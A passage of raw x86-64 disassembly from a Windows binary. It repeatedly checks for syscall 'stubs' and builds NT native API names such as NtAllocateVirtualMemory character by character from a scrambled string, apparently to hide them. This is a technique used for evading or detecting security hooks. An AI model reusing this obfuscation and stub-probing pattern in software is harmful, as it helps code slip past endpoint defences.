lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x189f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x18a0]
mov rcx, qword [rbp + 0x2f10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a56132
lea rsi, [0x3472fd3b4]
jmp 0x345a56139
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x1acf]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x1acf]
lea rax, [rbp + 0x1aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x3472fd3f4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x3472fd39a]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x3472fd3fa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x18c0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1acf]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1ad0]
mov rcx, qword [rbp + 0x2f08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a564c1
lea rsi, [0x3472fd3b4]
jmp 0x345a564c8
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x1d5f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x1d5f]
lea rax, [rbp + 0x1d30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x3472fd39a]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x3472fd3e2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x1af0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1d5f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1d60]
mov rcx, qword [rbp + 0x2f00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a568d4
lea rsi, [0x3472fd3b4]
jmp 0x345a568db
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x1fcf]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x1fcf]
lea rax, [rbp + 0x1fa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x3472fd3fc]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x3472fd3d6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x3472fd3e0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x1d80]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1fcf]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1fd0]
mov rcx, qword [rbp + 0x2ef8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a56cbb
lea rsi, [0x3472fd3b4]
jmp 0x345a56cc2
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x223f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x223f]
lea rax, [rbp + 0x2210]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x3472fd3e8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x3472fd3d6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x3472fd3e0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x223f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2240]
mov rcx, qword [rbp + 0x2ef0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a570a2
lea rsi, [0x3472fd3b4]
jmp 0x345a570a9
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x246f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x246f]
lea rax, [rbp + 0x2440]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x3472fd3fe]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x3472fd3de]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x3472fd3e0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x2260]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x246f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2470]
mov rcx, qword [rbp + 0x2ee8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a57431
lea rsi, [0x3472fd3b4]
jmp 0x345a57438
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x263f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x263f]
lea rax, [rbp + 0x2610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x3472fd3ee]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x3472fd3fa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x3472fd3e8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x2490]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x263f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
